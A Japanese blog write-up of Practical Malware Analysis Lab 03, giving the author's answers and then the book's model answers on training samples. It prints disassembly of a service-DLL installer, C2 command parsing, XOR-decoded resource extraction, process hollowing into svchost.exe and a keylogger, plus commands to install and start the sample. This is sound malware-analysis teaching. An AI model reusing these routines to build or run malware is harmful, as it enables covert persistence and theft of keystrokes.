PracticalMalwareAnalysis-Labs03 WriteUp

Practical Malware Analysis (by Michael Sikorski and Andrew Honig) Lab03のWriteUp。
まずは自分の解答を載せて、最後に模範解答を載せる。不正解の解答も戒めとしてそのまま載せる事とする。
ラボはこちらからダウンロード可能。

Lab 3-1

解析対象のファイルは以下の通り。(自分の解析環境ではファイルが上手く実行されなかったため、静的解析のみ行った)

ファイル名ファイルの種類MD5ハッシュ値
Lab03-01.exe32ビット EXED537ACB8F56A1CE206BC35CF8FF959C0

1. What are this malware's imports and strings?

インポート関数はExitProcessのみ。stringsを走らせた結果、ws2_32、advapi32、ntdll、user32、advpackというDLL名と思しき文字列を確認できた。

2. What are the malware's host-based indicators?

stringsより以下のHBI関連の文字列が確認できた。

  • SOFTWARE\Classes\http\shell\open\command\
  • StubPath
  • Software\Microsoft\Active Setup\Installed Components
  •  SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  • vmx32to64.exe
  • VideoDriver

IDAでファイルを眺めてみたが複雑なコードをしており容易に解析できそうになかった。stringsからの推測となるが、このサンプルはRunキー、もしくはActive SetupのStubPathキー、もしくはその両方のキーで永続化を図るものと思われる (vmx32to64.exeSOFTWARE\Microsoft\Windows\CurrentVersion\Run\VideoDriverキーに登録か?)。またSOFTWARE\Classes\http\shell\open\command\よりデフォルトのブラウザを変更するものと思われる。

3. Are there any useful network-based signatures for this malware? If so, what are they?

www.practicalmalwareanalysis[.]comと通信を行う模様。またHTTPのCONNECTリクエストを送信する模様。

Lab 3-2

解析対象のファイルは以下の通り。(自分の解析環境ではファイルが上手く実行されなかったため、静的解析のみ行った)

ファイル名ファイルの種類MD5ハッシュ値
Lab03-02.dll32ビット DLL84882C9D43E23D63B82004FAE74EBB61

1. How can you get this malware to install itself?

ファイルのエクスポート関数よりInstallおよびInstallAというインストールに関連すると思われる関数名が確認できた。IDAでこれらの関数を眺めてみたところ、InstallA関数の中でInstall関数が呼び出されていた。Install関数を調べたところ、どうやらIPRIPという名前のWindows サービスを作成して自身をサービスDLLとして登録する模様。サービスの起動タイプはAutomaticなのでIPRIPサービスは毎システム起動時に実行される。

.text:10004865 53                      push    ebx
.text:10004866 53                      push    ebx             ; lpServiceStartName
.text:10004867 53                      push    ebx             ; lpDependencies
.text:10004868 53                      push    ebx             ; lpdwTagId
.text:10004869 53                      push    ebx             ; lpLoadOrderGroup
.text:1000486A 68 C8 63 00 10          push    offset BinaryPathName ; "%SystemRoot%\\System32\\svchost.exe -k "...
.text:1000486F 6A 01                   push    1               ; dwErrorControl
.text:10004871 6A 02                   push    2               ; dwStartType "auto"
.text:10004873 6A 20                   push    20h             ; dwServiceType
.text:10004875 68 FF 01 0F 00          push    0F01FFh         ; dwDesiredAccess
.text:1000487A 68 A4 63 00 10          push    offset DisplayName ; "Intranet Network Awareness (INA+)"
.text:1000487F FF 75 E4                push    [ebp+Str2]      ; lpServiceName "IPRIP"
.text:10004882 56                      push    esi             ; hSCManager
.text:10004883 FF 15 18 50 00 10       call    ds:CreateServiceA

---

.text:10004A2F 68 54 62 00 10          push    offset aType    ; "Type"
.text:10004A34 FF 75 EC                push    [ebp+hKey]      ; hKey
.text:10004A37 FF D6                   call    esi ; RegSetValueExA
.text:10004A39 8D 45 E0                lea     eax, [ebp+phkResult]
.text:10004A3C 50                      push    eax             ; phkResult
.text:10004A3D 68 48 62 00 10          push    offset aParameters ; "Parameters"
.text:10004A42 FF 75 EC                push    [ebp+hKey]      ; hKey
.text:10004A45 FF 15 20 50 00 10       call    ds:RegCreateKeyA
.text:10004A4B 89 45 08                mov     [ebp+dwErrCode], eax
.text:10004A4E 8D 85 5C FD FF FF       lea     eax, [ebp+Data]
.text:10004A54 57                      push    edi             ; nSize
.text:10004A55 50                      push    eax             ; lpFilename
.text:10004A56 FF 35 A8 15 01 10       push    hModule         ; hModule
.text:10004A5C FF 15 80 50 00 10       call    ds:GetModuleFileNameA ; "retrieves the path of the executable file of the current process"
.text:10004A62 85 C0                   test    eax, eax
.text:10004A64 75 30                   jnz     short loc_10004A96

---

.text:10004AA4 50                      push    eax             ; cbData
.text:10004AA5 8D 85 5C FD FF FF       lea     eax, [ebp+Data]
.text:10004AAB 50                      push    eax             ; lpData "DLL path"
.text:10004AAC 6A 02                   push    2               ; dwType
.text:10004AAE 53                      push    ebx             ; Reserved
.text:10004AAF 68 18 62 00 10          push    offset aServicedll ; "ServiceDll"
.text:10004AB4 FF 75 E0                push    [ebp+phkResult] ; hKey
.text:10004AB7 FF D6                   call    esi ; RegSetValueExA

以下のようにしてrundll32.exeでDLLをロードすればインストールできると思われる。しかし自分の解析環境では(エラーメッセージによると) モジュールが不足しておりインストールできなかった。

rundll32.exe Lab03-02.dll, Install
rundll32.exe Lab03-02.dll, InstallA

2. How would you get this malware to run after installation?

これまでの解析によると、Lab03-02.dllIPRIPという名前のWindows サービスを作成して自身をサービスDLLとして登録し、またサービスの起動タイプにAutomaticを指定している。従ってシステムを起動するたびにDLLがsvchost.exeによってロードされる。もし手動でサービスを起動したい場合は以下のコマンドで起動できる。

net start IPRIP
sc start IPRIP

またエクスポート関数の中にmain関数と思われるServiceMainという関数名を見つけた。もしDLLのインストールが成功していた場合、以下のコマンドでrunll32.exeからDLLのmain関数を起動できると思われる。

rundll32.exe Lab03-02.dll, ServiceMain

3. How can you find the process under which this malware is running?

Lab03-02.dllIPRIPという名前のWindows サービスを作成して自身をサービスDLLとして登録し、またサービスの起動タイプにAutomaticを指定している。従ってシステムを起動するたびにDLLがsvchost.exeによってロードされる。よってLab03-02.dllをロードしているsvchost.exeをprocmonなどのツールで探す。

4. Which filters could you set in order to use procmon to glean information?

rundll32.exeからDLLをロードする場合はProcess Name is rundll32.exeというフィルターをかける。

5. What are the malware's host-based indicators?

以下のWindowsサービスに関するレジストリが作成される。

HKLM\System\CurrentControlSet\services\IPRIP

6. Are there any useful network-based signatures for this malware?

URL practicalmalwareanalysis[.]com/serve.htmlとHTTP通信を行い、サーバーのレスポンス・データから<!----!>というHTMLタグを探し、その2つのタグの間に記述されたデータをパースする。

.text:10004595 68 28 60 00 10          push    offset szServerName ; "practicalmalwareanalysis.com"
.text:1000459A 50                      push    eax             ; hInternet
.text:1000459B FF 15 14 51 00 10       call    ds:InternetConnectA
.text:100045A1 8B E8                   mov     ebp, eax

---

.text:100045AB 6A 00                   push    0               ; dwContext
.text:100045AD 68 00 00 00 04          push    4000000h        ; dwFlags
.text:100045B2 68 20 60 00 10          push    offset lpszAcceptTypes ; lplpszAcceptTypes
.text:100045B7 6A 00                   push    0               ; lpszReferrer
.text:100045B9 68 38 61 00 10          push    offset szVersion ; "HTTP/1.1"
.text:100045BE 68 68 60 00 10          push    offset szObjectName ; "serve.html"
.text:100045C3 68 34 61 00 10          push    offset szVerb   ; "GET"
.text:100045C8 55                      push    ebp             ; hConnect
.text:100045C9 FF 15 18 51 00 10       call    ds:HttpOpenRequestA
.text:100045CF 33 C9                   xor     ecx, ecx
.text:100045D1 89 44 24 14             mov     [esp+28h+hFile], eax

---

.text:1000460A 8D 44 24 18             lea     eax, [esp+28h+dwNumberOfBytesRead]
.text:1000460E 50                      push    eax             ; lpdwNumberOfBytesRead
.text:1000460F 6A 40                   push    40h             ; dwNumberOfBytesToRead
.text:10004611 68 F0 BF 00 10          push    offset C2_response ; lpBuffer
.text:10004616 FF 74 24 20             push    [esp+34h+hFile] ; hFile
.text:1000461A FF 15 24 51 00 10       call    ds:InternetReadFile
.text:1000466B 8D 7D C2                lea     edi, [ebp+var_3E]
.text:1000466E 8B 35 C0 50 00 10       mov     esi, ds:strstr
.text:10004674 68 D8 61 00 10          push    offset asc_100061D8 ; "<!--"
.text:10004679 FF 75 08                push    [ebp+Str]       ; Str
.text:1000467C F3 AB                   rep stosd
.text:1000467E 66 AB                   stosw
.text:10004680 FF D6                   call    esi ; strstr
.text:10004682 68 D0 61 00 10          push    offset asc_100061D0 ; "--!>"
.text:10004687 8B F8                   mov     edi, eax
.text:10004689 FF 75 08                push    [ebp+Str]       ; Str
.text:1000468C FF D6                   call    esi ; strstr

---

.text:10004699 2B C7                   sub     eax, edi        ; "edi stores pointer for '<!--', eax stores pointer for '--!>'. eax minus edi will return the size of the data which is stored in address space between eax and edi"
.text:1000469B 83 C7 04                add     edi, 4          ; "edi plus 4 will return the address immediately after '<!--'"
.text:1000469E 83 E8 04                sub     eax, 4          ; "eax minus 4 is equivalent to data size minus '--!>'"
.text:100046A1 50                      push    eax             ; Count
.text:100046A2 8D 45 C0                lea     eax, [ebp+Dest]
.text:100046A5 57                      push    edi             ; Source
.text:100046A6 50                      push    eax             ; Dest
.text:100046A7 FF 15 E0 50 00 10       call    ds:strncpy      ; "copy the bytes between '<!--' and '--!>'"
.text:100046AD 8D 45 C0                lea     eax, [ebp+Dest]
.text:100046B0 6A 00                   push    0               ; int
.text:100046B2 50                      push    eax             ; Str
.text:100046B3 FF 75 0C                push    [ebp+arg_4]     ; int
.text:100046B6 E8 68 FA FF FF          call    SomeDecoding_10004123

またDLLはC2サーバーから以下のコマンドを受け取って実行する模様。(サーバーからのレスポンスはエンコーディングが施されており、DLLはまず受けとったコマンドをデコードする。)

  • getfile : C2サーバーにHTTPリクエストを送信してレスポンス・データをファイルに書き込む
  • exit : C2サーバーとの通信を終了する
  • quit : C2サーバーとの通信を終了する
  • cd : カレントディレクトリを変更する
.text:10003C77 68 74 61 00 10          push    offset SubStr   ; "getfile"
.text:10003C7C 57                      push    edi             ; Str
.text:10003C7D FF 15 C0 50 00 10       call    ds:strstr
.text:10003C83 83 C0 08                add     eax, 8
.text:10003C86 50                      push    eax             ; Source
.text:10003C87 FF 75 F0                push    [ebp+Src]       ; Dest
.text:10003C8A E8 7B 10 00 00          call    strcpy
.text:10003C8F FF 75 F0                push    [ebp+Src]       ; Src
.text:10003C92 E8 CC 06 00 00          call    DownloadFile_10004363 ; "send HTTP GET to C2 and write response data to the file"
.text:10003CA1 68 6C 61 00 10          push    offset aExit    ; "exit"
.text:10003CA6 57                      push    edi             ; Str1
.text:10003CA7 FF 15 8C 50 00 10       call    ds:_strnicmp

---

.text:10003CB8 6A 04                   push    4               ; MaxCount
.text:10003CBA 68 64 61 00 10          push    offset aQuit    ; "quit"
.text:10003CBF 57                      push    edi             ; Str1
.text:10003CC0 FF 15 8C 50 00 10       call    ds:_strnicmp
.text:10003CE6 68 60 61 00 10          push    offset aCd      ; "cd"
.text:10003CEB 57                      push    edi             ; Str
.text:10003CEC FF 15 C0 50 00 10       call    ds:strstr
.text:10003CF2 83 C0 03                add     eax, 3
.text:10003CF5 50                      push    eax             ; Source
.text:10003CF6 8D 85 44 F4 FF FF       lea     eax, [ebp+var_BBC]
.text:10003CFC 50                      push    eax             ; Dest
.text:10003CFD E8 08 10 00 00          call    strcpy
.text:10003D02 8D 85 44 F4 FF FF       lea     eax, [ebp+var_BBC]
.text:10003D08 50                      push    eax             ; char *
.text:10003D09 FF 15 88 50 00 10       call    ds:_chdir

また以下のbase64エンコードされたコマンドをC2サーバーから受け取るものと思われる。

  • cXVpdA== : quit
  • Y21k : cmd
  • c2xlZXA= : sleep
  • dW5zdXBwb3J0 : unsupport

Lab 3-3

解析対象のファイルは以下の通り。(自分の解析環境ではファイルが上手く実行されなかったため、静的解析のみ行った)

ファイル名ファイルの種類MD5ハッシュ値
Lab03-03.exe32ビット EXEE2BF42217A67E46433DA8B6F4507219E

1. What do you notice when monitoring this malware with Process Explorer?

自分の解析環境ではファイルが上手く実行されなかったため、静的解析のみ行った。ファイルのインポート関数を眺めてみたところ、以下の関数が目についた。

  • VirtualAllocEx / VirtualAllocEx / WriteProcessMemory / ReadProcessMemory : 何らかのプロセス・インジェクションを行うものと推測できる
  • FindResourceA / LoadResource : リソースセクションからペイロードを抽出するものと推測できる
  • CreateFileA / WriteFile / ReadFile : ファイルの作成、書き込み、読み込みを行うものと推測できる
  • CreateProcessA : 新しくプロセスを作成するものと推測できる

リソースセクションを確認したところ、不審なペイロードの存在を確認した。このペイロードはXORエンコードされており、デコードしたところ32ビット EXE (MD5ハッシュ値: A7F21E412022554D187D6A876A3C08AC)が現れた。(XOR鍵は0x41)


2. Can you identify any live memory modifications?

リソースセクションに埋め込まれているペイロードをデコードした後、svchost.exeをサスペンドモードで立ち上げて、そのメモリ領域にデコードしたEXEペイロードを注入する。(プロセス・ホロウイング)

.text:00401508 68 00 04 00 00          push    400h            ; uSize
.text:0040150D 8D 85 FC FB FF FF       lea     eax, [ebp+ApplicationName]
.text:00401513 50                      push    eax             ; lpBuffer
.text:00401514 68 30 50 40 00          push    offset aSvchostExe ; "\\svchost.exe"
.text:00401519 E8 7F FF FF FF          call    sub_40149D
.text:0040151E 83 C4 0C                add     esp, 0Ch
.text:00401521 8B 8D F8 FB FF FF       mov     ecx, [ebp+hModule]
.text:00401527 51                      push    ecx             ; hModule
.text:00401528 E8 FF FD FF FF          call    ExtractResource_40132C ; "extract / decode resource and allocate memory for extracted resource"
.text:0040152D 83 C4 04                add     esp, 4
.text:00401530 89 45 FC                mov     [ebp+lpAddress], eax
.text:00401533 83 7D FC 00             cmp     [ebp+lpAddress], 0
.text:00401537 74 3A                   jz      short loc_401573

---

.text:00401539 8B 55 FC                mov     edx, [ebp+lpAddress]
.text:0040153C 52                      push    edx             ; lpBuffer "buffer pointing to EXE payload decoded from rsrc section"
.text:0040153D 8D 85 FC FB FF FF       lea     eax, [ebp+ApplicationName]
.text:00401543 50                      push    eax             ; lpApplicationName "%systemroot%system32\svchost.exe"
.text:00401544 E8 A1 FB FF FF          call    ProcessHollow_4010EA ; "perform process hollowing"
.text:00401145 8D 55 E8                lea     edx, [ebp+ProcessInformation]
.text:00401148 52                      push    edx             ; lpProcessInformation
.text:00401149 8D 45 A4                lea     eax, [ebp+StartupInfo]
.text:0040114C 50                      push    eax             ; lpStartupInfo
.text:0040114D 6A 00                   push    0               ; lpCurrentDirectory
.text:0040114F 6A 00                   push    0               ; lpEnvironment
.text:00401151 6A 04                   push    4               ; dwCreationFlags "suspend mode"
.text:00401153 6A 00                   push    0               ; bInheritHandles
.text:00401155 6A 00                   push    0               ; lpThreadAttributes
.text:00401157 6A 00                   push    0               ; lpProcessAttributes
.text:00401159 6A 00                   push    0               ; lpCommandLine
.text:0040115B 8B 4D 08                mov     ecx, [ebp+lpApplicationName]
.text:0040115E 51                      push    ecx             ; lpApplicationName
.text:0040115F FF 15 38 40 40 00       call    ds:CreateProcessA

---

.text:0040116D 6A 04                   push    4               ; flProtect
.text:0040116F 68 00 10 00 00          push    1000h           ; flAllocationType
.text:00401174 68 CC 02 00 00          push    2CCh            ; dwSize
.text:00401179 6A 00                   push    0               ; lpAddress
.text:0040117B FF 15 0C 40 40 00       call    ds:VirtualAlloc
.text:00401181 89 45 A0                mov     [ebp+lpContext], eax
.text:00401184 8B 55 A0                mov     edx, [ebp+lpContext]
.text:00401187 C7 02 07 00 01 00       mov     dword ptr [edx], 10007h
.text:0040118D 8B 45 A0                mov     eax, [ebp+lpContext]
.text:00401190 50                      push    eax             ; lpContext
.text:00401191 8B 4D EC                mov     ecx, [ebp+ProcessInformation.hThread]
.text:00401194 51                      push    ecx             ; hThread
.text:00401195 FF 15 34 40 40 00       call    ds:GetThreadContext
.text:0040119B 85 C0                   test    eax, eax
.text:0040119D 0F 84 6A 01 00 00       jz      loc_40130D

---

.text:004011A3 C7 45 94 00 00 00 00    mov     [ebp+Buffer], 0
.text:004011AA C7 45 98 00 00 00 00    mov     [ebp+lpBaseAddress], 0
.text:004011B1 C7 45 9C 00 00 00 00    mov     [ebp+var_64], 0
.text:004011B8 6A 00                   push    0               ; lpNumberOfBytesRead
.text:004011BA 6A 04                   push    4               ; nSize
.text:004011BC 8D 55 94                lea     edx, [ebp+Buffer]
.text:004011BF 52                      push    edx             ; lpBuffer
.text:004011C0 8B 45 A0                mov     eax, [ebp+lpContext]
.text:004011C3 8B 88 A4 00 00 00       mov     ecx, [eax+0A4h]
.text:004011C9 83 C1 08                add     ecx, 8
.text:004011CC 51                      push    ecx             ; lpBaseAddress
.text:004011CD 8B 55 E8                mov     edx, [ebp+ProcessInformation.hProcess]
.text:004011D0 52                      push    edx             ; hProcess
.text:004011D1 FF 15 30 40 40 00       call    ds:ReadProcessMemory
.text:004011D7 68 40 50 40 00          push    offset ProcName ; "NtUnmapViewOfSection"
.text:004011DC 68 58 50 40 00          push    offset ModuleName ; "ntdll.dll"
.text:004011E1 FF 15 2C 40 40 00       call    ds:GetModuleHandleA
.text:004011E7 50                      push    eax             ; hModule
.text:004011E8 FF 15 28 40 40 00       call    ds:GetProcAddress
.text:004011EE 89 45 9C                mov     [ebp+var_64], eax
.text:004011F1 83 7D 9C 00             cmp     [ebp+var_64], 0
.text:004011F5 75 07                   jnz     short loc_4011FE

---

.text:004012B9
.text:004012B9                         loc_4012B9:             ; lpNumberOfBytesWritten
.text:004012B9 6A 00                   push    0
.text:004012BB 6A 04                   push    4               ; nSize
.text:004012BD 8B 55 F8                mov     edx, [ebp+var_8]
.text:004012C0 83 C2 34                add     edx, 34h
.text:004012C3 52                      push    edx             ; lpBuffer
.text:004012C4 8B 45 A0                mov     eax, [ebp+lpContext]
.text:004012C7 8B 88 A4 00 00 00       mov     ecx, [eax+0A4h]
.text:004012CD 83 C1 08                add     ecx, 8
.text:004012D0 51                      push    ecx             ; lpBaseAddress
.text:004012D1 8B 55 E8                mov     edx, [ebp+ProcessInformation.hProcess]
.text:004012D4 52                      push    edx             ; hProcess
.text:004012D5 FF 15 20 40 40 00       call    ds:WriteProcessMemory
.text:004012DB 8B 45 F8                mov     eax, [ebp+var_8]
.text:004012DE 8B 4D 98                mov     ecx, [ebp+lpBaseAddress]
.text:004012E1 03 48 28                add     ecx, [eax+28h]
.text:004012E4 8B 55 A0                mov     edx, [ebp+lpContext]
.text:004012E7 89 8A B0 00 00 00       mov     [edx+0B0h], ecx
.text:004012ED 8B 45 A0                mov     eax, [ebp+lpContext]
.text:004012F0 50                      push    eax             ; lpContext
.text:004012F1 8B 4D EC                mov     ecx, [ebp+ProcessInformation.hThread]
.text:004012F4 51                      push    ecx             ; hThread
.text:004012F5 FF 15 1C 40 40 00       call    ds:SetThreadContext
.text:004012FB 8B 55 EC                mov     edx, [ebp+ProcessInformation.hThread]
.text:004012FE 52                      push    edx             ; hThread
.text:004012FF FF 15 18 40 40 00       call    ds:ResumeThread


3. What are the malware's host-based indicators?

デコードした32ビット EXE (MD5ハッシュ値: A7F21E412022554D187D6A876A3C08AC)を調べたところ、practicalmalwareanalysis.logというファイルを作成することが分かった。

.text:004010CD C7 45 FC 00 00 00 00    mov     [ebp+NumberOfBytesWritten], 0
.text:004010D4 6A 00                   push    0               ; hTemplateFil
.text:004010D6 68 80 00 00 00          push    80h             ; dwFlagsAndAttributes
.text:004010DB 6A 04                   push    4               ; dwCreationDisposition
.text:004010DD 6A 00                   push    0               ; lpSecurityAttributes
.text:004010DF 6A 02                   push    2               ; dwShareMode
.text:004010E1 68 00 00 00 40          push    40000000h       ; dwDesiredAccess
.text:004010E6 68 54 50 40 00          push    offset FileName ; "practicalmalwareanalysis.log"
.text:004010EB FF 15 14 40 40 00       call    ds:CreateFileA
.text:004010F1 89 45 F8                mov     [ebp+hFile], eax
.text:004010F4 83 7D F8 FF             cmp     [ebp+hFile], 0FFFFFFFFh
.text:004010F8 75 05                   jnz     short loc_4010FF

またSetWindowsHookExAをインポートしていることや以下のコードの内容からユーザーのキーボード入力をpracticalmalwareanalysis.logに書き込むものと思われる。よって、サンプル A7F21E412022554D187D6A876A3C08ACはキーロガーと推測できる。

.text:0040124B 8D 55 FC                lea     edx, [ebp+NumberOfBytesWritten]
.text:0040124E 52                      push    edx             ; lpNumberOfBytesWritten
.text:0040124F 6A 07                   push    7               ; nNumberOfBytesToWrite
.text:00401251 68 78 50 40 00          push    offset aShift   ; "[SHIFT]"
.text:00401256 8B 45 F8                mov     eax, [ebp+hFile]
.text:00401259 50                      push    eax             ; hFile
.text:0040125A FF 15 0C 40 40 00       call    ds:WriteFile

---

.text:00401265 6A 00                   push    0
.text:00401267 8D 4D FC                lea     ecx, [ebp+NumberOfBytesWritten]
.text:0040126A 51                      push    ecx             ; lpNumberOfBytesWritten
.text:0040126B 6A 08                   push    8               ; nNumberOfBytesToWrite
.text:0040126D 68 80 50 40 00          push    offset aEnter   ; "\n[ENTER]"
.text:00401272 8B 55 F8                mov     edx, [ebp+hFile]
.text:00401275 52                      push    edx             ; hFile
.text:00401276 FF 15 0C 40 40 00       call    ds:WriteFile

---

.text:00401281                         loc_401281:             ; jumptable 00401226 case 0
.text:00401281 6A 00                   push    0
.text:00401283 8D 45 FC                lea     eax, [ebp+NumberOfBytesWritten]
.text:00401286 50                      push    eax             ; lpNumberOfBytesWritten
.text:00401287 68 8C 50 40 00          push    offset aBackspace ; "[BACKSPACE]"
.text:0040128C E8 BF 03 00 00          call    sub_401650
.text:00401291 83 C4 04                add     esp, 4
.text:00401294 50                      push    eax             ; nNumberOfBytesToWrite
.text:00401295 68 98 50 40 00          push    offset aBackspace_0 ; "BACKSPACE"
.text:0040129A 8B 4D F8                mov     ecx, [ebp+hFile]
.text:0040129D 51                      push    ecx             ; hFile
.text:0040129E FF 15 0C 40 40 00       call    ds:WriteFile


4. What is the purpose of this program?

Lab03-03.exeはリソースセクションからキーロガー・ファイルをデコード及び抽出して、プロセス・ホロウイングの要領でsvchost.exeに注入する。以後、悪意のあるキーロガー・コードを書き込まれたsvchost.exeがユーザーのキーボード入力をpracticalmalwareanalysis.logに記録する。svchost.exe自体はWindowsの正規のファイルなので、セキュリティ・サービスの検知をすり抜ける可能性がある。

Lab 3-4

解析対象のファイルは以下の通り。

ファイル名ファイルの種類MD5ハッシュ値
Lab03-04.exe32ビット EXEB94AF4A4D4AF6EAC81FC135ABDA1C40C

1. What happens when you run this file?

ダブルクリックしてLab03-04.exeを実行すると、即座にLab03-04.exeが削除された。

2. What is causing the roadblock in dynamic analysis?

Lab03-04.exeを普通に実行すると、即座に削除されてしまう。

3. Are there other ways to run this program?

ざっと眺めてみたところ、どうやらLab03-04.exeは実行時に渡された引数に応じて挙動を変える模様。特定の引数を渡さないとファイルが削除されるようなので、デバッガで適宜ブレークポイントをセットしながら解析する必要がある。

模範解答

Lab 3-1
1. The malware appears to be packed. The only import is ExitProcess, although the strings appears to be mostly clear and not obfuscated.

2. The malware creates mutex named WinVMX32, copies itself into C:\Windows\System32\vmx32to64.exe and installs itself to run on system startup by creating the registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VideoDriver set to the copy location

3. The malware beacons a consistently sized 256-byte packet containing seemingly random data after resolving www.practicalmalwareanalysis[.]com.

Lab 3-2
1. To install the malware as a service, run the malware's exported installA function via rundll32.exe Lab03-02.dll, installA.

2. To run the malware, start the service it installs using the net command net start IPRIP

3. Use Process Explorer to determine which process is running the service. Since the malware will be running within one of the svchost.exe files on the system, hover over each one until you see the service name, or search for Lab03-02.dll using the Find DLL feature of Process Explorer.

4. In procmon you can filter on the PID you found using Process Explorer.

5. By default , the malware installs as the service IPRIP with a display name of Intranet Network Awareness (INA+) and description of "Depends INA+, Collects and stores network configuration and location information, and notifies applications when this information changes". It installs itself for persistence in the registry at HKLM\SYSTEM\CurrentControlSet\Services\IPRIP\Parameters\ServiceDll: %CurrentDirectory%\Lab03-02.dll. If you rename Lab03-02.dll to something else, such as malware.dll, then it writes malware.dll into the registry key, instead of using the name Lab03-02.dll.

6. The malware resolves the domain name practicalmalwarenalaysis[.]com and connects to that host over port 80 using what appears to be HTTP. It does a GET request for serve.html and uses the User-Agent %ComputerName% Windows XP 6.11.

Lab 3-3
1. The malware performs process replacement on svchost.exe.

2. Comparing the disk image of svchost.exe with its memory image shows that they are not the same. The memory image has the strings such as practicalmalwareanalysis.log and [ENTER], but the disk image has neither.

3. The malware creates the log file practicalmalwareanalysis.log.

4. The program performs process replacement of svchost.exe to launch a keylogger.

Lab 3-4
1. When you run this malware by double-clicking it, the program immediately deletes itself.

2. We suspect that we may need to provide command-line argument or a missing component to the program.

3. We try using the command-line process parameters shown in the strings listing (like -in), but doing so is not fruitful. More in-depth analysis is required. (We'll analyze this malware further in the labs for Chapter 9.)

Leave a Reply

Your email address will not be published. Required fields are marked *